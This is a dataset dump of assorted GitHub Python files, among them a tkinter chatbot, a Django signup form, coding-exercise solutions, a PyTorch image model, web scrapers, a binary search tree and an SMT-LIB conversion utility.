+{"seq_id":"40861799790","text":"from tkinter import*\nfrom tkinter import ttk\nfrom PIL import Image,ImageTk\nfrom tkinter import messagebox\n\n\n\nclass Help:\n    def __init__(self,root):\n        self.root=root\n        self.root.geometry(\"750x650+0+0\")\n        self.root.title(\"ChatBot\")\n        self.root.bind('<Return>',self.enter_func)\n\n        main_frame=Frame(self.root,bd=4,bg='powder blue',width=610)\n        main_frame.pack()\n\n        img_chat=Image.open(r'E:\\images\\chatboat1.png')\n        img_chat=img_chat.resize((200,100),Image.Resampling.LANCZOS)\n        self.photoimg=ImageTk.PhotoImage(img_chat)\n\n        title_label=Label(main_frame,bd=3,relief=RAISED,anchor='nw',width=730,compound=LEFT,image=self.photoimg,text='CHAT ME',font=('arial',30,'bold'),fg='green',bg='white')\n        title_label.pack(side=TOP)\n\n        self.scroll_y=ttk.Scrollbar(main_frame,orient=VERTICAL)\n        self.text=Text(main_frame,width=65,height=20,bd=3,relief=RAISED,font=('arial',14),yscrollcommand=self.scroll_y.set)\n        self.scroll_y.pack(side=RIGHT,fill=Y)\n        self.text.pack()\n\n        btn_frame=Frame(self.root,bd=4,bg='white',width=610)\n        btn_frame.pack()\n\n        label=Label(btn_frame,text='Type Something',font=('arial',14,'bold'),fg='green',bg='white')\n        label.grid(row=0,column=0,padx=5,sticky=W)    \n        \n        self.entry=StringVar()\n        self.entry1=ttk.Entry(btn_frame,textvariable=self.entry,width=40,font=('arial',15,'bold'))\n        self.entry1.grid(row=0,column=1,padx=5,sticky=W)\n\n        self.send=Button(btn_frame,text=\"Send>>\",command=self.send,font=('arial',16,'bold'),width=8,bg='red')\n        self.send.grid(row=0,column=2,padx=5,sticky=W)\n\n        self.clear=Button(btn_frame,text=\"Clear Data\",command=self.clear_func,font=('arial',14,'bold'),width=8,bg='green')\n        self.clear.grid(row=1,column=0,padx=5,sticky=W)\n        \n        self.msg=''\n        self.label_1=Label(btn_frame,text=self.msg,font=('arial',14,'bold'),fg='green',bg='white')\n        self.label_1.grid(row=1,column=1,padx=5,sticky=W)\n\n        \n        #=====================function declaration======================\n\n    def enter_func(self,event):\n        self.send.invoke()\n        self.entry.set('')\n\n    def clear_func(self):\n        self.text.delete('1.0',END)\n        self.entry.set('')\n        \n        \n    def send(self):\n        send='\\t\\t\\t'+'You: '+self.entry.get()\n        self.text.insert(END,'\\n'+send)\n        self.text.yview(END)\n\n        if (self.entry.get()==''):\n            self.msg=\"Please enter some input\"\n            self.label_1.config(text=self.msg,fg='green')\n        else:\n            self.msg=''\n            self.label_1.config(text=self.msg,fg='green')\n\n        if (self.entry.get()=='hello'):\n            self.text.insert(END,'\\n\\n'+'Bot: Hi')\n            \n        elif (self.entry.get()=='how are you'):\n              self.text.insert(END,'\\n\\n'+'Bot: fine and you')\n               \n        elif (self.entry.get()=='fantastic'):\n              self.text.insert(END,'\\n\\n'+'Bot: nice to hear')\n\n        elif (self.entry.get()=='more information'):\n              self.text.insert(END,'\\n\\n'+'Bot: kinjalhp1990@gmail.com')\n\n        elif (self.entry.get()=='what is your name'):\n              self.text.insert(END,'\\n\\n'+'Bot: my name is mr.Hacker')\n\n        elif (self.entry.get()=='how does face recognition work'):\n              self.text.insert(END,'\\n\\n'+'Bot: face recognition is a way of\\nrecognizing a human face through\\ntechnology.A fecial recognition\\nsystem uses biomatrics. to map')\n              \n        elif (self.entry.get()=='bye'):\n              self.text.insert(END,'\\n\\n'+'Bot: Thank you for chatting')\n\n        else:\n            self.text.insert(END,'\\n\\n'+\"Bot: sorry I didn't get it\")\n        \n        \nif __name__==\"__main__\":\n    root=Tk()\n    obj=Help(root)\n    root.mainloop()\n","repo_name":"kinjalgithubcode/facerecognition","sub_path":"help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":3815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74934381492","text":"from .models import Faculty, Student, StudyGroup\nfrom django import forms\nfrom allauth.account.forms import SignupForm\nfrom django.http import HttpResponseRedirect\nfrom django.contrib.auth import get_user_model\nUser = get_user_model()\n\n\nclass StudentSignupForm(SignupForm):\n    name = forms.CharField(max_length=50, required=True, strip=True,\n                           widget=forms.TextInput(attrs={\"placeholder\": \"Name\"}))\n    phone_no = forms.CharField(max_length=10, required=True, strip=True,\n                               widget=forms.TextInput(attrs={\"placeholder\": \"Phone Number\"}))\n    roll_no = forms.CharField(max_length=8, strip=True, widget=forms.TextInput(\n        attrs={\"placeholder\": \"Roll Number (UE******)\"}))\n    YEAR_CHOICES = (\n        ('1', '1st year'),\n        ('2', '2nd year'),\n        ('3', '3rd year'),\n        ('4', '4th year'),\n        )\n\n    BRANCH_CHOICES = (\n        ('CS', 'Computer Science & Engineering'),\n        ('IT', 'Information Technology'),\n        ('BT', 'Biotechnology'),\n        ('EC', 'Electronics and Communication Engineering'),\n        ('EE', 'Electrical and Electronics Engineering'),\n        ('ME', 'Mechanical Engineering'),\n        )\n\n    SECTION_CHOICES = (\n        ('1', 'Section A'),\n        ('2', 'Section B'),\n    )\n\n    GROUP_CHOICES = (\n        ('1', 'Group 1'),\n        ('2', 'Group 2'),\n        ('3', 'Group 3'),\n    )\n\n    branch = forms.ChoiceField(choices=BRANCH_CHOICES, required=True)\n    year = forms.ChoiceField(choices=YEAR_CHOICES, required=True)\n    section = forms.ChoiceField(choices=SECTION_CHOICES, required=True)\n    group_number = forms.ChoiceField(choices=GROUP_CHOICES, required=True)\n    # Override the save method to save the extra fields\n    # (otherwise the form will save the User instance only)\n\n    def save(self, request):\n\n        user = super(StudentSignupForm, self).save(request)\n        user.username = self.cleaned_data['roll_no']\n        user.is_active = False\n        user.save()\n        # Create an instance of your model with the extra fields\n        # then save it.\n        # (N.B: the are already cleaned, but if you want to do some\n        # extra cleaning just override the clean method as usual)\n        student_user = Student(\n            user=user,\n            name=self.cleaned_data['name'],\n            branch=self.cleaned_data['branch'],\n            year=self.cleaned_data['year'],\n            roll_no=self.cleaned_data['roll_no'],\n            phone_no=self.cleaned_data['phone_no'],\n            group=StudyGroup.objects.get(branch=self.cleaned_data['branch'], year=self.cleaned_data['year'],\n                                         number=self.cleaned_data['group_number'], section=self.cleaned_data['section'],),\n            section=self.cleaned_data['section'],\n        )\n        student_user.save()\n        return student_user.user\n\n    def clean(self):\n        if not \"email\" in self.errors:\n            self.errors.clear()\n        form_data = self.cleaned_data\n        form_data[\"roll_no\"] = form_data[\"roll_no\"].upper()\n        self.cleaned_data['roll_no'] = self.cleaned_data['roll_no'].upper()\n        s = Student.objects.filter(roll_no=form_data['roll_no'])\n        if s.count() != 0:\n            self.add_error(\n                \"roll_no\", \"An account with that roll number already exists.\")\n\n        else:\n            if (len(form_data['roll_no']) != 8 or form_data['roll_no'][:2].lower() != \"ue\" or not form_data['roll_no'][2:].isdigit()):\n                self.add_error(\"roll_no\", \"Roll no. is invalid!\")\n\n        if len(form_data['phone_no']) != 10 or not form_data['phone_no'].isdigit():\n            self.add_error(\"phone_no\", \"Phone no. is invalid!\")\n\n        try:\n            t = Student.objects.filter(phone_no=form_data['phone_no'])\n            if t.count() != 0:\n                self.add_error(\n                    \"phone_no\", \"Phone number already in use with another account.\")\n        except:\n            pass\n\n        if form_data['password1'] != form_data['password2']:\n            self.add_error(\"password2\", \"Passwords didn't match!\")\n        if self._errors:\n            self.add_error(None, \"Errors were encountered.\")\n\n        return form_data\n","repo_name":"gurpreetsingh00885/uietest","sub_path":"registration/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"3553826564","text":"class Bank:\n    account_number=2400000000-299\ndef __init__(self,deposit,withdrow,balance):\n    self.deposit=deposit\n    self.withdraw=withdrow\n    self.balance=balance\ndef my_bank(self):\n    deposit=4587000\n    withdraw=456700\n    balance=8678000\n    print (f\"my bank has {balance},i withdrew {withdraw} and later {deposit} on my account \")\n\n\n\n","repo_name":"wanjirulinahlinah/classes","sub_path":"bank.py","file_name":"bank.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"30568003606","text":"#!/bin/python\n\nimport sys\n\ndef miniMaxSum(arr):\n    # Complete this function\n    n = len(arr)\n    counts = []\n\n    for i in range(n):\n        counts.append(0)\n        for j in range(n):\n            if j != i:\n                counts[i] = counts[i] + arr[j]\n        if i == 0:\n            theMin = counts[i]\n            theMax = counts[i]\n        elif counts[i] < theMin:\n            theMin = counts[i]\n        elif counts[i] > theMax:\n            theMax = counts[i]\n    print(\"%d %d\" % (theMin, theMax))\n\nif __name__ == \"__main__\":\n    arr = map(int, raw_input().strip().split(' '))\n    miniMaxSum(arr)\n\n\n","repo_name":"kirstyihen/hackerrank","sub_path":"algorithm8.py","file_name":"algorithm8.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2312719740","text":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom torchvision.models import resnet18\n\nclass pix2vec(nn.Module):\n    def __init__(self, args):\n        super(pix2vec, self).__init__()\n        self.args = args\n        \n        self.backbone = resnetEncoder(in_c=6, bnk=args.bnk)\n        \n        self.maskParam_fc = get_maskParam_fc(args)# module to regress mask parameters\n        self.color_fc = get_color_fc(args) # module to regress color\n        \n        additional_dims = 2\n        in_channels = args.nParam + additional_dims\n        out_channels = 1\n        hidden_size = args.mlpHSz\n        use_GN = not args.noGN\n        use_GN_before_sigmoid = args.GN_before_sigmoid\n        use_relu = args.use_relu\n        \n        self.maskgen = maskgen(in_channels, out_channels, \n                               hidden_size=hidden_size, \n                               use_GN=use_GN, \n                               use_GN_before_sigmoid=use_GN_before_sigmoid, \n                               use_relu=use_relu, \n                               use_sinus_tanh=False)\n\n        self.args = args\n        \n    def get_grid(self, size, bSz, device):\n        if hasattr(self, 'grid'):\n            grid = self.grid\n            if grid.size(0) == bSz and grid.size(-1) == size:\n                return self.grid.to(device)\n        return get_grid_coordinates(size, bSz, device)\n\n    def forward(self, targets=None, return_=False, nMasks=None, **kwargs):\n        args = self.args\n        bSz, nc, iSz, _ = targets.size()\n        device = targets.device\n\n        nParam = args.nParam\n        nMasks = args.nMasks if nMasks is None else nMasks\n        canvas = initCanvas(iSz, bSz, device, mode=args.canvasInit, nc=3)\n        \n        if return_:\n            allCanvas=[];  allMaskParams=[]; allColors=[]; allMasks=[];\n\n        for i in range(nMasks):\n            inp = torch.cat([canvas.detach(), targets], 1)\n            \n            x = self.backbone(inp)\n            \n            maskParams = self.maskParam_fc(x).view(bSz,nParam,1,1).expand(bSz, nParam, iSz, iSz)\n            \n            inp = [maskParams]\n            \n            # get xy grid\n            grid = self.get_grid(iSz, bSz, device)\n            inp.append(grid)\n            \n            mask = self.maskgen(torch.cat(inp, 1))# generate noise using mask parameters + xy-grid and optionally\n            colors = self.color_fc(x)\n            colorMap = colors.view(-1, nc, 1, 1).expand(-1,-1, iSz, iSz)\n\n            canvas = canvas*(1-mask) + mask*colorMap\n            \n            if return_:\n                allCanvas.append(canvas.detach().cpu())\n                allMaskParams.append(maskParams.detach().cpu())\n                allColors.append(colors.detach().cpu())\n                allMasks.append(mask.detach().cpu());\n                \n            \n        if return_:\n            return {\n                        'allCanvas': allCanvas,\n                        'allMaskParams': allMaskParams,\n                        'allColors': allColors,\n                        'allMasks': allMasks,\n                        'inputMaskGen': inp,\n                    }\n            \n        return canvas\n    \nclass resnetEncoder(nn.Module):\n    def __init__(self, in_c, bnk):\n        super(resnetEncoder, self).__init__()\n        \n        self.resnet = resnet18()\n        self.resnet.conv1 = nn.Conv2d(in_c, 64, kernel_size=7, stride=2, padding=3)\n        self.resnet.avgpool = nn.AdaptiveAvgPool2d(1)\n        self.resnet.fc = nn.Sequential(\n            nn.Linear(512, bnk),\n            nn.BatchNorm1d(bnk),\n            nn.ReLU(True)\n        )\n        \n    def forward(self, x):\n        return self.resnet(x)\n\ndef get_maskParam_fc(args):\n    maskParam_fc = nn.Sequential(*[\n        nn.Linear(args.bnk, args.nParam),\n    ])\n    return maskParam_fc\n\ndef get_color_fc(args):\n    color_fc = nn.Sequential(*[\n        nn.Linear(args.bnk, 3),\n        nn.Sigmoid(),\n    ])\n    return color_fc\n\ndef initCanvas(size, bSz, device, mode='black', nc=3):\n    if mode == 'black':\n        return torch.zeros(bSz, nc, size, size, device=device)\n    elif mode == 'rand':\n        return torch.rand(bSz, nc, size, size, device=device)\n    else:\n        raise ValueError('Unknown canvas init mode')\n        \ndef get_grid_coordinates(size, bSz, device):\n    # -1, 1 or 0, 1\n    x = torch.linspace(-1, 1, size).repeat(bSz, 1, size, 1).to(device)\n    y = x.transpose(-1,-2)\n    grid = torch.cat([x,y],1)\n    return grid\n\n\nclass maskgen(nn.Module):\n    \"\"\"\n        A pixelwise mask generation module with options for normalization, activation fct etc..\n    \"\"\"\n    def __init__(self, in_channels, out_channels, hidden_size=128, use_GN=True, use_GN_before_sigmoid=True, use_relu=False, use_sinus_tanh=False):\n        super().__init__()\n        # options\n        self.use_GN_before_sigmoid = use_GN_before_sigmoid and use_GN\n        self.use_sinus_tanh = use_sinus_tanh\n        \n        # layers\n        self.conv1 = nn.Conv2d(in_channels, hidden_size, kernel_size=1)\n        self.conv2 = nn.Conv2d(hidden_size, hidden_size, kernel_size=1)\n        self.conv3 = nn.Conv2d(hidden_size, hidden_size, kernel_size=1)\n        self.conv4 = nn.Conv2d(hidden_size, out_channels, kernel_size=1)\n        \n        n_groups = 32\n        self.norm1 = nn.GroupNorm(num_groups=n_groups, num_channels=hidden_size) if use_GN else identity()\n        self.norm2 = nn.GroupNorm(num_groups=n_groups, num_channels=hidden_size) if use_GN else identity()\n        self.norm3 = nn.GroupNorm(num_groups=n_groups, num_channels=hidden_size) if use_GN else identity()\n        self.norm4 = nn.GroupNorm(num_groups=out_channels, num_channels=out_channels) if (use_GN and use_GN_before_sigmoid) else identity()\n\n        self.actvn = actvn(use_relu=use_relu, use_sinus_tanh=use_sinus_tanh)\n\n    def forward(self, x):\n        # x is the input size\n        x = self.norm1(self.conv1(x))\n        x = self.actvn(x) #\n        x = self.norm2(self.conv2(x))\n        x = self.actvn(x) #\n        x = self.norm3(self.conv3(x))\n        x = self.actvn(x) #\n        x = self.norm4(self.conv4(x))\n        x = torch.sigmoid(x)\n        return x\n    \nclass identity(nn.Module):\n    def __init__(self):\n        super().__init__()\n        \n    def forward(self, x):\n        return x\n\nclass actvn(nn.Module):\n    \"\"\"\n        An activation function that is either relu, tanh, or a split between tanh and sin.\n        Default is tanh\n    \"\"\"\n    def __init__(self, use_relu=False, use_sinus_tanh=False, sinus_scale=1.):\n        super().__init__()\n        #options\n        self.use_relu = use_relu\n        self.use_sinus_tanh = use_sinus_tanh\n        self.sinus_scale = sinus_scale\n\n    def forward(self, x):\n        if self.use_relu:\n            return F.relu(x)\n        elif self.use_sinus_tanh:\n            half_channel_size = x.size(1)//2\n            x1, x2 = x[:,:half_channel_size,:,:], x[:,half_channel_size:,:,:]\n            x = torch.cat([torch.tanh(x1), torch.sin(x2*self.sinus_scale)], 1)\n            return x\n        else:# default is tanh\n            return torch.tanh(x)\n\n    def __repr__(self):\n        return 'use_relu: {}, use_sinus_tanh: {}, sinus_scale: {}'.format(self.use_relu, self.use_sinus_tanh, self.sinus_scale)","repo_name":"facebookresearch/pix2vec","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7217,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"22645058012","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom achtungachtung import alert\nimport requests\n\nheaders = {'Accept':'application/json, text/javascript, */*; q=0.01',\n           'Cache-Control':'max-age=0',\n           #'If-Modified-Since':'Fri, 04 Nov 2016 02:40:01 GMT',\n}\n\nwarnung_url = 'https://warnung.bund.de/bbk.mowas/gefahrendurchsagen.json'\n\nclass BundGenerator(alert.AlertGenerator):\n    ''' Generates alerts from warnung.bund.de '''\n\n    def requestData(self):\n        ''' get raw alert data from the web '''\n        res = requests.get(url=warnung_url, headers=headers)\n        # do something for bad status codes\n        res.raise_for_status()\n        try:\n            objects = res.json()\n        except Exception as ex:\n            raise ex\n        return objects\n\n    def alertsFromData(self, raw_alerts):\n        ''' create a list of alert objects from raw alert data'''\n        alerts = []\n        for item in raw_alerts:\n            infos = item.get('info',[])\n            for info in infos:\n                desc = info.get('description','-')\n                subject = info.get('headline','warnung.bund.de')\n                areas = info.get('area',[])\n                source = 'warnung.bund.de'\n                for area in areas:\n                    areaDesc = area.get('areaDesc','')\n                    if areaDesc:\n                        new_alert = alert.Alert(subject=subject,\n                                                description=desc,\n                                                area=areaDesc,\n                                                source=source)\n                        alerts.append(new_alert)\n        return alerts\n\n    def run(self):\n        ''' return alerts from the website '''\n        raw_alerts = self.requestData()\n        alerts = self.alertsFromData(raw_alerts)\n        return alerts\n","repo_name":"jhinghaus/AchtungAchtung","sub_path":"achtungachtung/bundalertgenerator.py","file_name":"bundalertgenerator.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"3727484977","text":"# -*- coding: utf-8 -*-\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport requests\nimport settings\n\n\ndef scrape_nikkei():\n    response = requests.get(settings.NIKKEI_URL, timeout=3.5)\n    if response.ok:\n        soup = BeautifulSoup(response.content, \"html.parser\")\n        response.close()\n        table = soup.find('table')\n        tbody = table.find('tbody')\n        delete_tag = ['div', 'p', 'h6']\n        #remove 'unnecessary' tag\n        for tag in delete_tag:\n            for target in tbody.find_all(tag):\n                target.decompose()\n        tempHead = ['rank', 'code', 'company', 'announcedDate', 'announcedTime', 'section', 'contents']\n        result = []\n        for tr in tbody.find_all('tr'):\n            tempBody = [td.text.strip() for td in tr.find_all('td')]\n            tempBody.pop(0) #remove firstline\n            result.append(tempBody)\n        df_rank = pd.DataFrame(result, columns = tempHead)\n    else:\n        df_rank = None\n    return df_rank\n\n\ndef get_news_from_api():    \n    response = requests.get(settings.NEWS_API_URL, headers=settings.NEWS_API_HEADERS, params=settings.NEWS_API_PARAMS, timeout=3.5)\n    if response.ok:\n        data = response.json()\n        df_news = pd.DataFrame(data['articles'])\n    else:\n        df_news = None\n    return df_news","repo_name":"MashTT/Portfolio","sub_path":"scroller.py","file_name":"scroller.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24060613930","text":"# -----------------------------------------\n# My Solution\n#\n# Time  Complexity: O(m + n)\n# Space Complexity: O(m + n)\n# -----------------------------------------\n# m := len(nums1), n := len(nums2)\nclass Solution:\n    def nextGreaterElement(self, nums1: List[int], nums2: List[int]) -> List[int]:\n        nums2_element_index = {}\n        for index, num in enumerate(nums2):\n            nums2_element_index[num] = index\n\n        nums2_next_greater_index = [-1] * len(nums2)\n        stack = []\n        for element_index in range(len(nums2) - 1, -1, -1):\n            num = nums2[element_index]\n            while len(stack) > 0 and nums2[stack[-1]] <= num:\n                stack.pop()\n            if len(stack) > 0:\n                nums2_next_greater_index[element_index] = stack[-1]\n            stack.append(element_index)\n\n        output = []\n        for num in nums1:\n            next_greater_index = nums2_next_greater_index[nums2_element_index[num]]\n            output.append(nums2[next_greater_index] if next_greater_index != -1 else -1)\n        return output\n","repo_name":"DaMinaup6/algorithm-exercises","sub_path":"leetcode/easy/496_next_greater_element_i.py","file_name":"496_next_greater_element_i.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26877226947","text":"import sys\nsys.path.append('../stack')\nfrom stack import Stack\n\nfrom collections import deque\n\nclass BSTNode:\n    def __init__(self, value):\n        self.value = value\n        self.left = None\n        self.right = None\n\n    \"\"\"\n    Inserts the value into the tree\n    \"\"\"\n    def insert(self, value):\n        if value < self.value:\n            if self.left is None:\n                self.left = BSTNode(value)\n            else:\n                self.left.insert(value)\n        else:\n            if self.right is None:\n                self.right = BSTNode(value)\n            else:\n                self.right.insert(value)\n\n    \"\"\"\n    Checks if the target value exists in the tree\n    - Returns True if found\n    - Otherwise returns False\n    \"\"\"\n    def contains(self, target):\n        if target == self.value:\n            return True\n        elif (target < self.value) and (self.left is not None):\n            return self.left.contains(target)\n        elif (target > self.value) and (self.right is not None):\n            return self.right.contains(target)\n        else:\n            return False\n\n    \"\"\"\n    Returns the maximum value in the tree\n    \"\"\"\n    def get_max(self):\n        if self.right is None:\n            return self.value\n        else:\n            return self.right.get_max()\n\n    \"\"\"\n    Calls fn on each node value\n    \"\"\"\n    def for_each(self, fn):\n        fn(self.value)\n\n        if self.left is not None:\n            self.left.for_each(fn)\n        if self.right is not None:\n            self.right.for_each(fn)\n\n    \"\"\"\n    Prints all the values in order from lowest to highest\n    \"\"\"\n    def in_order_print(self, node):\n        root = node\n\n        if root is None:\n            return\n\n        self.in_order_print(root.left)\n        print(root.value)\n        self.in_order_print(root.right)\n\n    \"\"\"\n    Prints the value of every node, starting with the given node,\n    in an iterative breadth first traversal\n    \"\"\"\n    def bft_print(self, node):\n        q = deque()\n        q.appendleft(node)\n        current_node =  None\n\n        while(len(q) > 0):\n            current_node = q.pop()\n            print(current_node.value)\n            if current_node.left:\n                q.appendleft(current_node.left)\n            if current_node.right:\n                q.appendleft(current_node.right)\n\n    \"\"\"\n    Prints the value of every node, starting with the given node,\n    in an iterative depth first traversal\n    \"\"\"\n    def dft_print(self, node):\n        s = Stack()\n        s.push(node)\n        current_node = None\n\n        while(len(s) > 0):\n            current_node = s.pop()\n            print(current_node.value)\n            if current_node.left:\n                s.push(current_node.left)\n            if current_node.right:\n                s.push(current_node.right)\n\n\n\n\n","repo_name":"jskway/data-structures-algorithms","sub_path":"data_structures/binary_search_tree/binary_search_tree.py","file_name":"binary_search_tree.py","file_ext":"py","file_size_in_byte":2799,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"70960492854","text":"#Дано вещественное число X и целое число N (> 0). Найти значение выражения\n# X -X3/(3!) + X5/(5!) - ... + (-1)N-X2-N+1/((2-N+1)!) (N! = 12 ...N). Полученное число\n#является приближенным значением функции sin в точке X\n\nx = float(input('х = ')) #принимаем вещественное число в переменную\nn = int(input('n = ')) #принимаем целое число в переменную\np = x\ns = x\nk = 0\nfor i in range(1, n+1): #тело цикла\n    k += 2\n    p *= (-1) * x * x / (k * (k + 1))\n    s += p\nprint(s) #вывод результата","repo_name":"Quland0/proj_1sem_Saponjyan","sub_path":"PZ_4/PZ_4_1.py","file_name":"PZ_4_1.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"44366116511","text":"from __future__ import print_function\nfrom __future__ import division\n\nimport numpy as np\nimport matrix_operation as mo\nimport input_data as id\nimport CV as cv\nimport matplotlib.pyplot as plt\nimport scipy.stats as stats\n\nkfold = 20\n\n\nvalidation_error = np.zeros((3,kfold))\ntesting_error = np.zeros((3,kfold))\n\nfor i in range(1,4):\n    if i == 1:\n        training_file = \"training_data.txt\"\n        testing_file = \"testing_data.txt\"\n    elif i == 2:\n        training_file = \"training_data_poly2.txt\"\n        testing_file = \"testing_data_poly2.txt\"\n    elif i == 3:\n        training_file = \"training_data_poly3.txt\"\n        testing_file = \"testing_data_poly3.txt\"\n        \n    \n    #training set for linear regression\n    x,y,x_min,x_max,y_min,y_max = id.read_trainingdata(training_file)\n    #testing set for linear regression\n    x_test,y_test = id.read_testingdata(testing_file, x_min, x_max, y_min, y_max)\n    x = np.concatenate((np.ones((x.shape[0],1)),x),axis=1)\n    x_test = np.concatenate((np.ones((x_test.shape[0],1)),x_test),axis=1)\n    \n    #shuffle data before validation\n    KFold_indices = cv.KFold(x,kfold)\n    x_shuffle,y_shuffle = cv.shuffle(x,y)\n    \n    #cross validation\n    for j in range(0,kfold):\n        validation_data = x_shuffle[KFold_indices[j]:KFold_indices[j+1]]\n        validation_target = y_shuffle[KFold_indices[j]:KFold_indices[j+1]]\n        if j == 0:\n            training_data = x_shuffle[KFold_indices[j+1]:]\n            training_target = y_shuffle[KFold_indices[j+1]:]\n        elif j == kfold - 1:\n            training_data = x_shuffle[:KFold_indices[j]]\n            training_target = y_shuffle[:KFold_indices[j]]\n        else:\n            training_data = np.append(x_shuffle[:KFold_indices[j]],x_shuffle[KFold_indices[j+1]:],axis=0)\n            training_target = np.append(y_shuffle[:KFold_indices[j]],y_shuffle[KFold_indices[j+1]:],axis=0)\n            \n        #use closed form solution\n        theta = np.dot(np.linalg.pinv(training_data),np.transpose(training_target))\n        #diff\n        valid_diff = np.subtract(validation_target,np.sum(np.multiply(validation_data,theta),axis=1))\n        validation_error[i-1][j] = np.sqrt(np.inner(valid_diff,valid_diff)/valid_diff.shape[0])\n        \n        test_diff = np.subtract(y_test,np.sum(np.multiply(x_test,theta),axis=1))\n        testing_error[i-1][j] = np.sqrt(np.inner(test_diff,test_diff)/test_diff.shape[0])\n        \nplt.figure()   \nfor i in range(0,3):\n    linear_error = sorted(testing_error[i])\n    fit_linear_error = stats.norm.pdf(linear_error, np.mean(linear_error), np.std(linear_error))\n    plt.plot(linear_error,fit_linear_error,'-o',label='Degree-%d Polynomial' %(i+1))\nplt.title('Validation Error of Polynomial Regression')\nplt.xlabel('Mean Square Root Error')\nplt.ylabel('Frequency')\nplt.legend(loc=\"upper right\")\nplt.xscale('log')\nplt.savefig(\"Testing_Error.png\")\n\nplt.figure()   \nfor i in range(0,3):\n    linear_error = sorted(validation_error[i])\n    fit_linear_error = stats.norm.pdf(linear_error, np.mean(linear_error), np.std(linear_error))\n    plt.plot(linear_error,fit_linear_error,'-o',label='Degree-%d Polynomial' %(i+1))\nplt.title('Validation Error of Polynomial Regression')\nplt.xlabel('Mean Square Root Error')\nplt.ylabel('Frequency')\nplt.legend(loc=\"upper right\")\nplt.xscale('log')\nplt.savefig(\"Validation_Error.png\")\n\n","repo_name":"nrgdoublex/Statistical-Machine-Learning-Project","sub_path":"Polynomial/poly_regression.py","file_name":"poly_regression.py","file_ext":"py","file_size_in_byte":3337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"30585451120","text":"from pysv import ast_utils\nfrom pysv import ssa_converter\nfrom pysv import utils\nfrom pysv import loops\nfrom pysv import interm\nfrom pysv.smt2 import ProgramSmt2\n\n\ndef get_code_in_smt2(code, code_pre, code_post, program_vars, env, holes_decls = None):\n    \"\"\"Converts source codes of specification elements into program in SMT-LIB 2.0 language.\n\n    :param code: (str) Source code (in arbitrary language) of the program.\n    :param code_pre: (str) Source code (in arbitrary language) of the expression representing all *pre-conditions*.\n    :param code_post: (str) Source code (in arbitrary language) of the expression representing all *post-conditions*.\n    :param program_vars: (ProgramVars) Information about variables and their types.\n    :param env: (Options) Options of the currently realized task.\n    :param holes_decls: (list[HoleDecl]) Declarations of all holes in the case of synthesis scenario.\n    :return: (ProgramSmt2) Program in the SMT-LIB 2.0 language.\n    \"\"\"\n    if env.lang == utils.Options.PYTHON:\n        return convert_py_to_smt2(code, code_pre, code_post, program_vars, env, holes_decls)\n    elif env.lang == utils.Options.SMT2:\n        code = processHoles(code, holes_decls)\n        main = ProgramSmt2([code])  # this works because SMT lib is a functional language\n        return main, ProgramSmt2([code_pre]), ProgramSmt2([code_post])\n    else:\n        raise Exception(str(env.lang) + \": unsupported language!\")\n\n\ndef processHoles(code, holes_decls):\n    \"\"\"Finds all hole symbols in the SMT-LIB code of the program and replaces them with\n    appropriate references to their synthesis functions. Does nothing in case of\n    verification.\n\n    :param code: (str) Source code (in arbitrary language) of the program.\n    :param holes_decls: (list[HoleDecl]) Declarations of all holes.\n    :return: (str) Source code with SMT replacement of holes by appropriate functions.\n    \"\"\"\n    if holes_decls is None or len(holes_decls) == 0:\n        return code\n    else:\n        code = code.replace(\")\", \" )\")\n        for h in holes_decls:\n            if h.id in code:\n                code = code.replace(h.id+\" \", h.get_function_call()+\" \")\n        code = code.replace(\" )\", \")\")\n        return code\n\n\ndef convert_py_to_smt2(code, code_pre, code_post, program_vars, env, holes_decls):\n    # Python source code --> internal abstract program representation.\n    ib, pre, post = ast_utils.process_source_code(code, code_pre, code_post, holes_decls)\n    utils.logger.debug('\\n\\n******** PROGRAM REPR ********:\\n' + str(ib))\n\n    # Handling of loops\n    ib = interm.ProgramInterm(loops.unroll_loops(ib.src, n=env.loop_unrolling_level))\n\n    # Abstract program representation --> abstract program representation in SSA form.\n    if env.ssa_enabled:\n        ib, post = ssa_converter.convert(ib, post, program_vars)\n        program_vars.add_marked_variables(ib.src.collect_variables())  # Updating variable list\n\n    # Producing SMT-LIB code for program's elements.\n    ib_smt2 = ib.to_smt2(env)\n    pre_smt2 = pre.to_smt2(env)\n    post_smt2 = post.to_smt2(env)\n    return ib_smt2, pre_smt2, post_smt2\n\n\ndef write_script_to_file(script, env):\n    if env.save_script_to_file:\n        with open('script.smt2', 'w') as file_:\n            file_.write(script)","repo_name":"iwob/pysv","sub_path":"pysv/smt_common.py","file_name":"smt_common.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
